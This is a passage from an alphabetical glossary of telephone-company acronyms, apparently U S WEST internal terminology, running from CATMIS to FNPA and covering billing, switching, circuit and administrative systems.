CATMIS             Carrier Access Tracking Marketing System
CATO               Contract Administration and Training Organization
CATS               Customer Attitude Trends Survey
CATS/DB            Computer Assisted Technical Support/Data
CATV (2)           Cable TV
		   /Community Antenna TV
CAU                Customer Access Unit
CAW                Computer Assisted Writing
CBAC               Construction Budget Administration Center
CB                 Channel Bank
CBC                Can't Be Called
CBD                Connected Buried Drop
CBDB               Construction Budget Data Base
CBIC               Customer Billing Inquiry Center
CBICC              Carrier Billing Inquiry and Collection Center
CBIS               Computer Based Information System
CBL                Consumer Business Lists
CBOG               CRIS Billing Output Group
CBR                Customer Billing Record
CBS (2)            Common Billing System
		   Customer Billing System
CBS&A              Construction Budget Summary & Analysis
CBSA               Use CBS&A
CBSC               Complex Business Service Center
CBT                Computer Based Training
CBTT               Computer Based Training Trial
CBX                Computerized Branch Exchange
CC (2)             Consultant Connection
		   Control Center
CCA                Common Carrier Access
CCBIP              Carrier Custom Billing Products
CCC (5)            Career Continuation Centers
		   Central Circuit Control (CIMAP/CC)
		   Clear Channel Capability
		   Communications Consulting Center
		   Corporate Cost Centers
CCD                Cross Connect Device (or XCD)
CCF (2)            Corporate Computer Facility
		   Custom Call Feature
CCH                Cost Per Circuit Hour
CCI (2)            Corporate Communications, Inc.
		   U S WEST Corporate Communications, Inc.
CCIS               Common Channel Interoffice Signaling
CCIS/SO            Common Channel Interoffice Signaling/Signaling Office
CCITT              Consultative Committee on International Telephone and
		   Telegraph
CCL                Carrier Common Line
CCM                CORD Change MEMO
CCN                Corporate Communications Network
CCNA               Customer Carrier Name Abbreviation
CCNS               Customer Controlled Network Service
CCO (2)            Circuit Control Office
		   Can't Call Out
CCOS-TRIPS         Corporate Communications Office System-Tracking
CCP (3)            Career Change Plan (Mgmt)
		   Circuit Conversion Package
		   Customer Convenience Products
CCPIC (2)          Customer Changeable Primary Interexchange Carrier
		   Customer Controlled Pre-Designated Inter LATA Carrier
CCR (2)            CRIS Change Request (CRIS-AP)
		   Customer Controlled Reconfigurability
CCRA               Consumer Communications Reform Act (1976)
CCRS               Centrex Customer Rearrange System
CCS (4)            Carrier Conversion System
		   Common Channel Signaling
		   Custom Calling Service
		   Hundred Call-Seconds
CCS/MS             Centrum Calls Seconds/Main Station
CCS7               Common Channeling Signaling (System) 7
CCSA               Common Control Switching Arrangement
CCSA-DF            Common Control Switching Arrangement with Added
		   Data Features
CCSAC              Common Channel Signaling Access Service
CCSC               Corporate Communications Service Center
CCSR               Customer Controlled Station Restriction
CCSS               Common Channel Signaling System
CCSTT              Custom Calling and Touch Tone Modeling
CCTAC              Computer Communications Trouble Analysis Center
CCTV               Closed Circuit Television
CCU                Central Control Unit
CCUAP              Computerized Cable Upkeep Administration Program
CCUAP II           Computerized Cable Upkeep and Admin Program II
CD (5)             Call Distribution
		   Change Date
		   Circuit Details
		   Complete Disconnect
		   Circuit Data
CDA (2)            Call Data Accumulator
		   Circuit Distribution Analysis
CDAC/SS            Combined Dispatch Admin Center/Support System
CDAR (2)           Customer Dialed Account Recording
		   Customer Data and Recording
CDB                Customer Data Base
CDC (3)            Call Direction Code
		   Central Distribution Center
		   Corporate Data Communications
CDES               Customer Data Enhanced Service
CDF                Customer Directory File
CDLR (2)           Confirming Design Layout Record
		   Confirming Design Layout Report
CDLRD (2)          Confirming Design Layout Record Date
		   Confirming Design Layout Record Due
CDM (2)            Cost Distribution Module
		   Critical Dates Missed
CDO                Community Dial Office
CDP (3)            Centralized Data Processing
		   Cost Distribution Process
		   Career Development Program
CDR                Customer Digit Receiver
CDS (3)            Circuit Design System
		   Centralized Distribution System
		   Customer Definition System
CDT (2)            Communications Display Terminal
		   Call Data Transmitter
CDWS               Civil Defense Warning System
CE                 Controlled Environment Value
CEA                Centralized Equal Access
CEC (2)            Change Effort Council
		   Cellular Exchange Carrier
CECO               Civil Enforcement Consent Order
CEDARS             Computer Evaluation of Decision Analysis
CEI                Comparably Efficient Interconnection
CEL                Community Events Line
CEM                Construction Equipment Management
CENTREX            Centralized Exchange for Business Customer Services
CENTREX/CENTRON    Centralized Exchange for Business Customer Services
CENTS              Centralized Tool Service Center System
CEO                Chief Executive Officer
CEO/EAEO           Conforming End Office/Equal Access End Office
CERS               Call Evaluation Reporting System
CES                Circuit Equipment Studies
CEU                Current Estimated Usage
CFA (2)            CABS Fluctuation Analysis
		   Controlled Facility Addition
CFC (2)            Corporate Finance Committee
		   Cost Function Code
CFM                Controlled Facility Modification
CFMP               Construction Force Management Plan
CFMS               Construction Force Management System
CFO                Corporate Financial Operations
CG                 Class Group
CGS                Computer Graphics Services
CHAT               (SSFS) Churn Analysis Tool
CHINA              (Mart-China/Voless) Charging Instructions Analysis
CHORD              Computerized Held Orders/Regrades Detailed
CHQ                Corporate Headquaters
CI (4)             Common Interface
		   Company Instructions
		   Control Interval
		   Channel Interface
CI II              Computer Inquiry II (Two)
CI III             Computer Inquiry III (Three)
CIB                Centralized Intercept Bureau
CIC (2)            Customer Inquiry Center
		   Carrier Identification Code
CICS               Customer Information Control System
CIDS               Corporation Information Distribution System
CIIS               Consumer Input and Inquiry System
CIM                Capital Investment Model
CIM-OVAL           Capital Investment Model-Inventory Management
CIMAP              Circuit Installation Maintenance Assistance Package
CIMAP-INE          CIMAP-Intelligent Network Elements
CIMAP/CC           CIMAP/Control Center
CIMAP/SSC          CIMAP/Special Services Center
CIMOVAL            Use CIM-OVAL
CIMS               Centralized Inv Mgmt Sys (HV High Vol, LV Low Vol)
CIN                Customer Identification Number
CINTAS             CCIS Network Total Administration System
CIS (4)            Corporate Information Services
		   Computer Inventory System
		   Customized Intercept Service
		   Competitive Information System
CISR               Consumer Installation Service Results
CISSP              Corporate Interface Selection and Separation Process
CIU                Craft Interface Unit
CKL                Circuit Location
CL                 Common Line
CLAC               CLAss of service code
CLAIMS (2)         Security Office Automation & Insurance Claims System
		   Claims and Insurance Management System
CLASP              CCIS Local Alternatives Studies Program
CLASS              Custom Local Area Signaling Services
CLB                Circuit Layout Bureau
CLC                Corporate Learning Center
CLCI (2)           Common Language Circuit Identification
		   Common Language Circuit Identifier
CLDFI              Common Language Distribution Frame Identification
CLEI               Common Language Equipment Identifier
CLEO               Common Language Equipment Order
CLF                Creation Load Factor
CLFI               Common Language Facility Identifier
CLIPR              CommunityLink Information Provider Reporting
CLI                Calling Line Identification
CLLI (2)           Common Language Location Identifier
		   Common Language Line Identification
CLLIMS             Common Language Location Identification Maintenance
		   System
CLM                Community Link Minitel
CLO                Circuit Layout Order
CLOC               CommunityLink Operations Center
CLR (2)            Called Line Report
		   Circuit Layout Record
CLRC               Circuit Layout Record Card
CM (2)             Change Management
		   Completing Marker
CMAS               Call and Message Accumulation System
CMC (4)            Cable Maintenance Center
		   Construction Maintenance Center
		   Construction Management Center
		   Cellular Mobile Carrier
CMDR               Centralized Message Detailed Recorder
CMDS (2)           Centralized Message Data System
		   Centralized Message Distribution System
CMID               Computer Managed Instruction Development
CMO (2)            Cable Management Organization
		   Cable Management Office
CMOP               Change Management Operations
CMP                Cash Mechanized Remittance
CMPM               Change Management/Problem Management
CMR (4)            Centralized Main Remittance
		   Centralized Mail Remittance
		   Centralized Message Retrieval
		   Call Management Reports
CMRF               Circuit Maintenance Record File
CMS (4)            Cost Management System
		   Circuit Maintenance System (Also see CMT)
		   Consultant Management Services
		   Call Management System
CMS 1              Circuit Maintenance System 1
CMS 3A             Circuit Maintenance System 3A
CMS-L              Circuit Maintenance System-1
CMSMC              Circuit Maintenance System Maintenance Center
CMT                Circuit Maintenance System  (Also see CMS)
CMTS (3)           Computerized Measurement Tracking System
		   Centralized Maintenance Test System
		   Change Management Tracking System
CMTS/PTS           Change Mgmt Tracking System/Personnel Tracking System
CN (4)             Circuit Number
		   Change Notice
		   Completion Notice
		   Connect
CNA (2)            Communications Network Architecture
		   Customer Name and Address Bureau
CNAC               Network Administration Center/Cutover Conversion
CNCC               Customer Network Control Center
CNCCS              Customer Network Control Center System
CND                Calling Number Delivery
CNDB               Calling Number Delivery Blocking
CNL (2)            Customer Name and Locality (formerly CNA)
		   Customer Name and Location
CNS                Communication Network System
CO                 Central Office
COAM               Customer Owned And Maintained
COAST              Cable Ordering And Systematic Tracking
COAX               Coaxial Cable
COBOL              Common Business Oriented Language
COBRA              Consolidated Omnibus Recognition Act of 1985
COC (5)            Corporate Operations Committee
		   Circuit Order Control
		   Cableman Order Circuit
		   Circuit Order Center
		   Central Office Connection
COCC               Central Office Connecting Channel
COCE               Central Office Circuit Equipment
COCOT              Customer Owned Coin Operated Telephone
COCS               Circuit Order Control System
COCTX              Central Office CenTreX
COE (2)            Central Office Equipment
		   Customer Owned Equipment
COEES (2)          Central Office Equipment Estimation System
		   Central Office Equipment Engineering System
COER               Central Office Engineering Reports
COES               Central Office Equipment System
COF (2)            Catalog of Forms
		   Central Office Facility
COI                Council on Issues
COIM               Central Office Inventory Management
COIN               Coin Phone Operational and Information Network
COIN/CTOCS         Coin-Phone Operational And Information Network Coin/
		   Coin Telephone Operations Center Subsystem
COL                Central Office Listing
COM                Computer Output to Microfiche
COMADS             Computerized Address Distribution System
COMAS (2)          Computerized Maintenance and Administration Support
		   Computerized Maintenance and Administration System
COMAS III          Computerized Maintenance and Administration System III
COMBO (2)          Computer Output Microfilm Business Office Records
		   Computer Output on Microfische for Business Office
COMFOR             Commercial Wire Center Forecast
COMMON             Common Software
COMMS              Central Office Maintenance Management System
COMMS-PM           Central Office Maintenance Management System
		   -Preventive Maintenance
COMPAR             Communications Equipment Cost Comparison
COMPASS            Computer Oriented Methods of Patterning Analysis of
		   Switching System
COMS               Customer Oriented Measurement System
COMSAT             Communications Satellite Corporation
COMSTAT            Communications Satellite Corporation
CONDA              Centralized On-Line Network Data Aggregation
CONECS             Connectorized Exchange Cable Splicing System
CONTRAK            Contribution Tracking
COO                Chief Operating Officer
COPAN              Command Post Alerting Network
COPEC              Computer Operations Post-execution Control
COPRIT             Corporate Public Relations Invoice Tracking
COP                Customer Ordering Process
COPS (2)           Call Thrift/Optional Calling Plan
		   Circuit Order Provisioning System
CORAS              Customer Oriented Results and Analysis System
CORC               Customer Originated Recent Change
CORD               Customer Order Retrieval and Display
CORDS              Coordination of Records and Data Base System
CORE               Core Analytic Financial Model
CORMAP             Customer Oriented Reliability Measurement and
		   Analysis Plan
CORNET             Corporation Network
CORP               Corporation
CORS               Central Office Record Center
COS                Class Of Service
COSA               Comptroller Operations System Administration
COSMIC             Common System Main Interconnecting Frame
COSMOS (2)         Computer System for Mainframe Operations
		   Computer System for Main-Frame Operation
COSNIX             COSMOS Operating System
COST               Corporate ONA Services Tracking System
COSTGEN2           Cost Modeling Second Generation
COSTUS             Cost of Service Traffic Usage Study
COT (2)            Customer Owned Telephone
		   Continuity Check Message
COTC               Circuit Order Test and Completion
COTM               Customer-Owned and Telephone Company Maintained
CP (4)             Central Processor
		   Commercial Paper
		   Cable Pair
		   Consumer Products
CP/M               Control Program for Microcomputers
CPAC               Centralized Property and Cost
CPC (3)            Circuit Provision Center
		   Cable Pressure Contractors
		   Cable Processing Center
CPCRP              Centralized Payroll Change Report Preparation
CPE (2)            Customer Premises Equipment
		   Customer Provided Equipment
CPI (3)            Customer Point Identification
		   Corporate Personnel Information
		   Consumer Price Index
CPIW (2)           Customer Provided Inside Wire
		   Customer Provided Inside Wiring
CPM (2)            COSMOS Performance Monitor
		   Critical Path Method
CPMS               Cable Pressure Monitoring System
CPNI               Customer Proprietary Network Information
CPOC               Customer Point of Contact
CPP                Calling Party Pays
CPR (2)            Customer Provisioning Reports
		   Continuing Property Records
CPR/FURNITURE      Continuing Property Records/Furniture and
		   Office Equipment
CPR/OSP            Continuing Property Record/Outside Plant
CPR/TOOLS          Continuing Property Records/Capital Tools
CPRS (2)           Centralized Personnel Records System
		   Customer Premises Record System
CPS (5)            Customer Premises System
		   Corporate Policy Seminar
		   Characters Per Second
		   Corp Personnel System
		   Cycles Per Second
CPU                Central Processing Unit
CR (2)             Customer Records
		   Customer Report
CRA                Customer Relations Activities
CRAB               Customer Reconciliation and Billing
CRAS               Cable Repair Administration System
CRAS/DMCL          CRAS/Damage Claims
CRB                Customer Records and Billing
CRC (2)            Career Resource Center
		   Cyclic Redundancy Check
CRDB               Customer Record Data Base
CREG               Concentrated Range Extender with Gain
CREN               Channel Remote Equipment Number
CRFMP              Cable Repair Force Management Plan
CRIS               Customer Record Information System
CRIS/MSS           CRIS/Measured Service
CRM                Constituency Relationship Management
CRMS               Capital Recovery Management System
CRO (2)            Completion Reporting Office
		   Complete with Related Order
CRP                Customer Recognition Process
CRR                Controlled Remove Request
CRS                Centralized Results System
CRSAB              Centralized Repair Service Attendant Bureau
CRT                Cathode Ray Tube
CS                 Customer Services
CSA (4)            Central Storage Administration
		   Carrier Serving Area
		   Common Storage Area
		   Customer Service Authorization
CSACC              Customer Service Administrative Control Center
CSACCS             Customer Service Administrative Control Center System
CSAR (2)           Centralized System for Analysis and Reporting
		   Customer Service Administrative Reports
CSAS               Customer Service Automated Systems (ARIIS & CIIS)
CSB (2)            Corporate Service Budget
		   Carrier Service Bureau
CSC (3)            Customer Service Center
		   Customer Services Marketing
		   Client Service Center
CSD                Customer Systems Development
CSDC               Circit Switched Digital Capacity
CSDN               Corporate Shared Data Network
CSDS               Continuous Surveillance Data System
CSE (2)            Contract Service Environment
		   Customer Service Engineering
CSEC               Customer Services Engineering Costs
CSG                Centralized Scoring Group
CSIM               Central Stock Inventory Management
CSM                Customer Service Manager
CSMS               Customer Service Measurement System
CSO (3)            Central Services Organization
		   Centralized Services Organization
		   Customer Services Organization
CSOC               Customer Service Order Center
CSOS (2)           Centralized Service Order Standards
		   Centralized Service Order Staff
CSPEC              Common Systems Planning and Engineering Center
CSR (3)            Customer Service Record
		   Customer Service Representative
		   Customer Station Rearrangement
CSRS               Centralized Sales Reference System
CSRT               Customer Service Record Tapes
CSS (5)            Customer Switching System
		   Communications Staff Support
		   Computer Service System
		   Computer Subsystem
		   Customer Service Support
CSSC               Customer Sales and Service Center
CST                Cooperative Scheduled Testing
CSTAT              Corporate Statistics Data Base
CSU                Channel Service Unit
CSW (2)            Communications Skills Workshop
		   Customer Service Wire
CT (3)             Connect Thru
		   Cut Through
		   Channel Termination
CT/OCP             Call Thrift/Option Calling Plan
CTA                Circuit Test and Availability Date
CTAP (2)           Cable Trouble Analysis Plan
		   Cable Transfer Administration Plan
CTAR               Circuit Termination Assignment Request
CTB                Composit Triple Beat
CTC (3)            Centralized Tool Center Projects
		   Channel to Channel
		   MITS/Centralized Tool Control Interface
CTEC               Circuit Transmission Engineering Center
CTI (2)            Centralized Ticket Investigation
		   Corporate Transportation, Inc.
CTIA               Cellular Telecommunications Industry Association
CTID               Circuit Termination Identification
CTMS (2)           Corporate Table Management System
		   Carrier Transmission Maintenance System
CTOCS (2)          Coin Telephone Operations Computer Subsystem
		   Coin Telephone Operations Subsystem Center
CTR (2)            Center
		   Completed Trouble Report
CTRAP (2)          Customer Trouble Report Analysis System
		   Customer Trouble Report Analysis Plan
CTS (6)            CABS Tracking System
		   High Balance/Cost to Collect
		   Conversational Time Sharing
	  **       Common Tax Systems
		   Communications Technical Support
		   Conversational Time Sharing
CTT                Common Tax Tables
CTTC               Circuit Toll Test Center
CTTU (2)           Centralized Trunk Test Unit
		   Central Trunk Test Unit
CTX                Centrex
CU (2)             Channel Unit
		   Common Update
CU/EQ              Common Update/Equipment
CU/TK              Common Update/Trunks
CUCRIT             Capital Utilization CRITeria
CUCRIT 3           Capital Utilization CRITeria-version 3
CUP                CAROT Update Process
CUPADS             Customer Premises Administration System
CVC                Customer Verification Center
CVTS               Corporate Video Teleconferencing Service
CW                 Colorado/Wyoming
CWA                Communications Workers of America
CWBO               Custom Work Billing Order
CWC                Construction Work Center
CWG                Construction Work Group
CWL                Circuit Work Location
CWO (3)            Custom Work Order
		   Closed Work Order
		   Centralized Warehouse Operations
CWS (2)            Common Work Station
		   Coordination Work Station
CXR                Carrier
CZ                 Carrier Zone
DA                 Directory Assistance
DAA                Data Access Arrangement
DAC                Destination Access Code
DACS               Digital Access Cross-connect System (AT&T)
DAM                Data Asset Management
DAMA               Directory Assistance Message Accounting
DAS                Directory Assistance System
DAS/C (2)          Directory Assistance System/Computer
		   Directory Assistance System/Computerized
DAS/M              Directory Assistance System/Microfilm
DASD               Direct Access Storage Device
DASSD              Data Administration and Support Services District
db                 decibel
DBA                Data Base Administration
DBAC               Data Base Administration Center
DBAS               Database Administration System
DBM                Dynamic Bandwidth Management
DBMG               Data Base Maintenance Group
dBrcC              Decibel Reference Noise C-Message Weighting
dBrnCO             Decibel Reference Noise C-Message Weighted 0
DBS                DataBase Sync
dBv                Decibels Relative to 1 Volt (reference)
dBv1               Decibels Relating to 1 Volt (reference)
DC                 Distributor Consultant
DCP                Defined Contribution Plan (U S WEST)
DCPR               Detailed Continuing Property Record
DCS (2)            Digital Cross-Connect System
		   Digital Access Cross-Connect System
DD                 Due Date
DDAP               Detailed Distribution Area Planning
DDD                Direct Distance Dialing
DDDITSO            Direct Distance Dialing Incoming Trunk Service
		   Observation
DDJ                Due Date Jeopardy
DDN                Digital Data Network
DDS (3)            Direct Dialing Service
		   Digital Data Service
		   Dataphone Digital Service
DEBIT              Data Systems Estimating, Billing and Tracking
DECA               Dual Element Cost Assignment
DEFRA              Deficit Reduction Action of 1984
DEMS (2)           Dial Equipment Minutes of Use
		   Digital Electronic Message Service
DENS               Directory and Equipment Number Status System
DEPOT              Detail Engineering Purchase Order Tracking
DERP               Defective Equipment Replacement Plan
DFMP               Dial Facilities Management Practice
DID                Direct Inward Dial
DIMS               Dimension Inventory Management System
DIR                U S WEST Direct, Inc.
DIS                Data Systems Instruction
DIVA (2)           Data Input Voice Answerback
		   Data Inquiry Voice Answer
DL&I               Department of Labor and Industries
DLC                Digital Loop Carrier
DLCS               Data Line Concentrator System
DLR                Design Layout Record
DLRD               Design Layout Report Date
DM/DR              Direct Mail/Direct Response (advertising)
DMA                Data Month Actuals
DMS100             Northern Telecomm Digital Switch 100
DNAS               Data Network Administration System
DNIS               Dialed Number Identification Service
DOES               DOPAC On-line Entry System
DOJ                Department of Justice (U S Federal Government)
DOP                Dedicated Outside Plant
DOPAC              Disk Oriented Property and Cost Accounting System
DOS                Disk Operating System
DPC                Data Processing Center
DPG                Dynamic Product Generator
DPR (2)            Daily Payment Register
		   Data Processing Requisition
DR (2)             Distributor Relations
		   Division of Revenue
DRISPP             Dividend Reinvestment and Stock Purchase Program
DRMA               Detailed Regulatory Monthly Allocation
DRP                Detailed Regulatory Process
DS1 (2)            High Capacity 1.544 Mbps Service
		   Digital Signal Level 1 (1.544 Mb/s) (24 voice
		       channels)
DS2                Digital Signal Level 2 (6.312 Mb/s) (96 voice
		       channels)
DS3 (2)            High Capacity 44.736 Mbps Service
		   Digital Signal Level 3 (44.736 Mb/s) (672 voice
			channels)
DS4                Digital Signal Level 4 (274.176 Mb/s) (4032
			voice channels)
DSA                Data Security Administration
DSAC               Dialing Services Administration Center
DSO                Digital Signal Level 0 (65Kb/s) (1 voice channel)
DSOC (2)           Digital Switching Operations Center
		   Digital Services Operations Centers
DSU (2)            Digital Service Unit
		   Data Service Unit
DTL                Dial Tone Line
DTF                Dial Tone First
DTMF               Dial Tone MultiFrequency
DTO                Dial Tone Office
DTWX               Dial Teletypewriter Exchange
DUAC               Direct Uncollectible Additional Charges
DUV                Data Under Voice
DVA                Designed, Verified and Assigned
DVJ                Designed, Verified and Assigned Jeopardy
E-911              Enhanced 911 Services
E/M                Electromechanical
E1                 Use TIRKS-E1
E1/REF             Use TIRKS-E1/REF
E1/TAS             Use TIRKS-E1/TAS
E2                 Electronic Information Service
E911-DMS           Enhanced 911-Data Management System (Also see EDMS)
EA (3)             Equal Access
		   Engineering Analysis
		   Exchange Access
EA/NR              Equal Access/Network Reconfiguration
EADAS (2)          Engineering and Administration Data Acquisition System
		   Engineering and Administrative Data Acquisition System
EADAS NO. 1        No. 1 Engineering and Administrative Data Acquisition
		   System
EADAS NO. 1A       No. 1A Engineering and Administrative Data Acquisition
		   System
EADAS/NM           Engineering and Admin Data Acquisition System/Network
		   Management
EADP               Equal Access Deployment Plan
EAEO               Equal Access End Office
EAM                Electronic Accounting Machine
EAMS (2)           Exchange Areas Measurement Study
		   Exchange Access Measurement Study
EAP                Employee Assistance Program
EARC               Equal Access Recovery Charge
EARS (2)           Equal Access Rate Structure
		   Equal Access Recovery System
EAS (3)            Engineering Administration System
		   Extended Area Service
		   Engineering Administrative System
EASOP              Economic Alternative Selection for Outside Plant
EATA               Early Application Technical Analysis
EB&F               Equipment Blockage Failures
EBAC               Equipment and Billing Accuracy Control
EBB                Everybody's Business
EBC                Employee Benefit Committee
EBCD/C             Extended Binary Coded Decimal Interchange Code
EBCDIC             Extended Binary Coded Decimal Interchange Code
EBO                Embedded Base Organization
EBX                Electronic Billing Complex
EC                 Environmental Code
ECAP               Electronic Customer Access Program
ECAS               Enhanced Cost Accountability System
ECC                Executive Communication Center
ECCR               Exchange Customer Cable Records
ECDO               Electronic Community Dial Office
ECI                Equipment Catalog Item
ECIG               Equipment Catalog Item Group
ECIR               Equipment Catalog Item Record
ECLI               Exchange Carrier Listing Information
ECLIPS             Electronic Customer Listing and Information Products
		   System
ECMA               Exchange Carrier Maintenance Agreement
ECN                Equipment Category Number
ECO (2)            Electronic Central Office
		   Engineering Control Office
ECP                Equipment Conversion Package
ECP-1              Use TIRKS-ECP-1
ECP-1A             Use TIRKS-ECP-1A
ECP-1B             Use TIRKS-ECP-1B
ECPE               Embedded Customer Premises Equipment
ECR                Employee Change Request
ECS (3)            Equipment Class of Service
		   Exchange Carrier Services
		   Exchange Cost Study
EDA                Embedded Direct Analysis
EDA CALC           Embedded Direct Analysis-Disaggregation (CALC)
EDASC              Enhanced DAS/C
EDB                Engineering Data Base
EDEMP              Engineering District Effectiveness Measurement Plan
EDIIS (2)          Event Driven Interproject Interface System
		   Event Driven Interproduct System
EDMS (2)           Enhanced 911-Data Management System
		   (Also see E911-DMS)
EDP                Electronic Data Processing
EDS                Engineering Design System
EDSAC              Electronic Delayed Storage Automatic Computer
EDTSR              Electronic Dial Tone Speed Registrar
EEC                Equipment Engineering Center
EEC-SW             Equipment Engineering Center - Switching
EEM (2)            Equipment Engineering Manual
		   Exchange Evaluation Model
EEMRP              Equipment Engineering Management Result Plan
EEO (2)            Equal Employment Opportunity
		   Equal Employee Opportunity
EEOC               Equal Employment Opportunity Commission
EEPROM             Electrically Erasable Programmable Read-Only Memory
EFAR               Economic Feeder Administration and Relief
EFRAP              Exchange Feeder Route Analysis Program
EFRAP/CFT          Exchange Feeder Route Analysis Prog/Cumulative Fill
		   Tab
EFRAP/TICS         Exchange Feeder Route Anal Prog/Time-Share Cable Size
EFRAP/TIFS         Exchange Feeder Route Anal Prog/TICS Input File System
EFS                Error Free Seconds
EFT                Electronic Funds Transfer
EFTS               Electronic Funds Transfer Systems
EI                 Employee Involvement
EIA                Electronic Industries Association
EIC (2)            Engineering Information Center
		   Employee Information Center
EIMS               Engineering and Implementation Methods System
EIQ                Employee Involvement/Quality
EIS                Engineering Implementation System
EIS/PAIRS          Experience Information System/Product Anal Report
		   System
EIU                Equipment Inventory Update
EIX                Existing It Cross-Connect
EJO                Engineering Job Order
EL (2)             Engineering Letter
		   Electroluminescent Displays
ELAC               Equipment Location Access Code
ELEPL              Equal Level Echo Path Loss
ELG (2)            Equal Life Group
		   Equal Life Group Method of Depreciation
EM (2)             Electronic Mail
		   Electro-Mechanical
EMASS              External Mechanized Allocation Study System
EMC                Equipment Measurement Code
EME                Extraordinary Medical Expense Plan
EMF                Equipment Master File
EMIS               Early Maintenance Information System
EML (2)            Equipment Matching Loss
		   Expected Measured Loss
EMP                Electro-Magnetic Pulses
EMR (2)            Enhancement Modification Request
		   Expanded Message Record
EMS (2)            Electronic Message Service
		   Energy Management System
ENAC               Engineering Network Administration Center
ENAD               Enhanced Network Administration System
ENERGY             Energy System
ENERGY 2           Energy 2 Data Bases
ENFIA              Exchange Network Facilities for Interstate Access
ENIAC              Electronic Numerical Integrator and Calculator
ENT                U S WEST Enterprises, Inc.
EO                 End Office
EOB                Explanation of Benefits
EOC                Emergency Operating Center
EOCS/PCR           Equipment Order Control System/Positive Completion
		   Report
EOM (2)            End of Month
		   End of Message
EOMB               Explanation of Medicare Benefits
EOV                End of Volume
EPIC               (EEPS) Engineering and Planning Interface Construction
		   (Budget)
EPL                Echo Path Loss
EPLANS (2)         Engineering Plans
		   Engineering Planning and Analysis System
EPM/NPS            Fundamental Planning Mechanization/Network Planning
		   System
EPRC (2)           Engineering Property Records and Contracting
		   Engineering Property Record Center
EPROM              Eraseable, Programmable, Read-Only Memory Chip
EPS                Engineering and Planning System
EPSCS              Enhanced Private Switched Communication Services
EQF                Equipment Features
ERISA (2)          Employee Retirement Income Security Act
		   Employee Retirement Income Security Account
ERL                Echo Return Loss
ERMA               Engineering Records Maintenance and Administration
		   System
ERO                Engineering Reporting Office
ERW                Engineering Right-of-Way
ESAC               Electronics Systems Assistance Center
ESAT               Educational Services for Advanced Technologies
ESC                Engineering Support Center
ESCC               Enhanced Services Control Center
ESD                Equipment Setup Document
ESF                Extended Super Frame
ESN (2)            Emergency Service Number
		   Electronic Serial Number
ESOP               Employee Stock Ownership Plan (U S WEST)
ESP (3)            Employee Suggestion Plan
		   Early Support Program
		   Enhanced Service Provider
ESPD               Equalizer Selection Program for Data
ESS                Electronic Switching System
ESSEX              ESS Centrex Service
ESSX               Electronic Switching System Exchange
ESTS               Exchange Services Tracking System
ET (2)             Electronic Typewriter
		   Exchange Termination
ETDC               Electronic Traffic Data Converter
ETL                Equipment Test List
ETN                Electronic Tandem Network
ETRG/MRG           Electronic Tandem (Mechanized) Routing Guide
ETS (4)            Eight Hundred Transmission System
		   Electronic Tandem Service
		   Electronic Tandum Switching
		   Electronic Translation System
ETV                Educational Television
EU                 End User
EUAA               End User Account Activity
EUC                End User Computing
EUCD               Enhanced Uniform Call Distribution
EUCL               End User Common Line
EUHD               End User Help Desk
EVE                Extreme Value Engineering
EVERY BUS          Everybody's Business
EWAS               Engineering Work Order Administration System
EWO                Engineering Work Order
EWP                Electronic White Pages
EWS                Engineering Work Station
EXACT (2)          Exchange Access Control and Tracking System
		   Interexchange Access Control and Tracking System
EXACT/TUF          Exchange Access Control and Tracking/
		   Translation USOC's
EXM                Exit Message
EXPERT             Systems Which Collect and Organize Highly Specialized
		   Information
EXTC               Expenditure Type Code
F1                 Use TIRKS-F1
FA                 Function Accounting Revenue Interface to Functional
		   Accounting
FAADMI             Administration Guide Components
FAB                Field Assistance Bureau
FACC               Final Account Collection Center
FACS               Facility Assignment and Control System
FACTS              Force And Cost Tracking System
FAD                Functional Accounting Distribution
FADS (2)           Force Administration Data System
		   (SSFS) Forecaster's Analysis and Decision Support
FAIR               Failure And Incident Recording
FAMAS              Facility Management Administration System
FAME               Financial Analysis Modular Evaluator
FAMIS              Forecasting And Monitoring Information System
FAMS               Functional Accounting Maintenance System
FAP                Facility Analysis Plan
FARF               Financial Account Reference File
FARP               Fraud Alter Referral Program
FARS               Financial Administration Reports System
FAS                File Access System
FASC               Functional Accounting System Codes
FASER              Fast Accounting System for Energy Reporting
FAST (4)           Field Accessed Service Tool
		   Field Assistance and Support Team
		   Fleet Analysis Sizing Techniques
		   Fleet-size Analysis and Sensitivity Technique
FASTRAC            Functional Accounting System Tracking
FAU                File Administration Unit
FAX (4)            Facsimile
		   Facilities
		   Facsimile Communication
		   Facsimile Equipment
FBLD               Failed Build
FC (2)             Function Code
		   First Choice; No Stock Considered
FCB                Forms Control Buffer
FCC (2)            Federal Communications Commission
		   Frame Control Center
FCD                Frame Continuity Date
FCIF               FACS Component Interface Format
FCO                Foreign Central Office
FCP (2)            Facility Conversion Package
		   Frequently Called Point
FCPA               Foreign Corrupt Practices Act
FCS (3)            Furniture Control System
		   Forms Control System
		   Freight Classification System
FCT                Frame Continuity Test
FDC                Fully Distributed Cost
FDD                Foreign Directory Delivery
FDDI               Fiber Distributed Data Interface
FDM                Frequency Modulation
FDT                Function Due Tomorrow
FDX                Full Duplex
FEASEL             Feature Selections System
FEDC               Facilities Engineering Design Center
FEES               Front End Entry System
FEMTOSECOND        A Million Billionth of a Second
FEP                Facility Equipment Planning
FEPS (2)           Facility and Equipment Planning System
		   Use TIRKS-FEPS
FEPS/PWS           TIRKS-FEPS/Planning Work Station
FES                Front End System
FEX                Foreign Exchange
FFM                Frame Force Management
FG                 Feature Group (A, B, C, D)
FG 'A'             Feature Group A
FG 'B'             Feature Group B
FG 'C'             Feature Group C
FG 'D'             Feature Group D
FGTS               Federal Government Telecommunications Services
FI                 Facility Interface
FIBS               Financial Information and Budgets System
FIC                Functional Information Categories
FICS               Furniture Inventory Control System
FID                Field Identifier Code
FIFO               First In, First Out
FIMS               Financial Information Mgmt System
FIN                Force Information Network
FINAN              Financial Analysis
FINITS (2)         FINancial Information Transmission System
		   Financial Information System
FIP                Fill Interface Process
FIS                Fleet Information System
FIT/RAT            Fitted Ratio
FIXS               Fault Identification Cross-Reference System
FLEX-NET           Use FLEXCOM
FLEXCOM            Flexible Network Control (Formerly FLEX-NET)
FLEXEBILL          FLEXible Easy Billing System
FLOPS              Floating Point Operations Per Second
FLS                Free Line Service
FLSA               Fair Labor Standards Act
FM (3)             Financial Management
		   Failure to Match
		   Frequency Modulation
FMAC               Facility Maintenance and Administration Center-BOC
FMAS (2)           Facility Maintenance and Administration System
		   Facility Maintenance and Surveillance System
FMMC               Facilty Maintenance Management Center
FMS (3)            Financial Management System
		   Financial and Marketing Services
		   Force Management System
FMS-F              Force Management System-Facilities
FN                 First Choice; No Stock Found
FNPA               Foreign Numbering Plan Area
